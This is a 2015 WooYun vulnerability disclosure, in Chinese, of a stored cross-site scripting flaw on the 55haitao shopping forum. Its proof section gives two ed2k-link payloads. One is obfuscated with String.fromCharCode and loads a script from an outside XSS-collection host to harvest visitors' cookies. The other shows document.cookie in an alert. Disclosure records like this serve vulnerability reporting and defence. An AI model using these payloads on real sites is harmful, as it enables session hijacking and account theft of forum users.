当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2015-090867

漏洞标题:55海淘网存储型XSS可获取cookie信息

相关厂商:55海淘

漏洞作者: CodeMan

提交时间:2015-01-12 14:11

修复时间:2015-02-26 14:12

公开时间:2015-02-26 14:12

漏洞类型:xss跨站脚本攻击

危害等级:中

自评Rank:8

漏洞状态:未联系到厂商或者厂商积极忽略

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2015-01-12: 积极联系厂商并且等待厂商认领中,细节不对外公开
2015-02-26: 厂商已经主动忽略漏洞,细节向公众公开

简要描述:

可用xss平台收用户cookie 、黑帽SEO利用

详细说明:

dicuz官网漏洞
55海淘看过了
http://www.55haitao.com/bbs/thread-934321-1-1.html

漏洞证明:

ed2k://|file||'+document.write(String.fromCharCode(60,115,99,114,105,112,116,32,115,114,99,61,104,116,116,112,58,47,47,120,115,115,46,99,111,100,101,98,111,111,114,46,99,111,109,47,79,89,73,69,87,108,63,49,52,50,48,55,56,52,48,52,54,62,60,47,115,99,114,105,112,116,62))+' )</>


ed2k://|file|test|'+alert(document.cookie)+'|test/

20150109175047.png


20150109175021.png

20150109174936.png

20150109174919.png

20150109174827.png

修复方案:

百度一下你就知道

版权声明:转载请注明来源 CodeMan@乌云


漏洞回应

厂商回应:

未能联系到厂商或者厂商积极拒绝


漏洞评价:

评论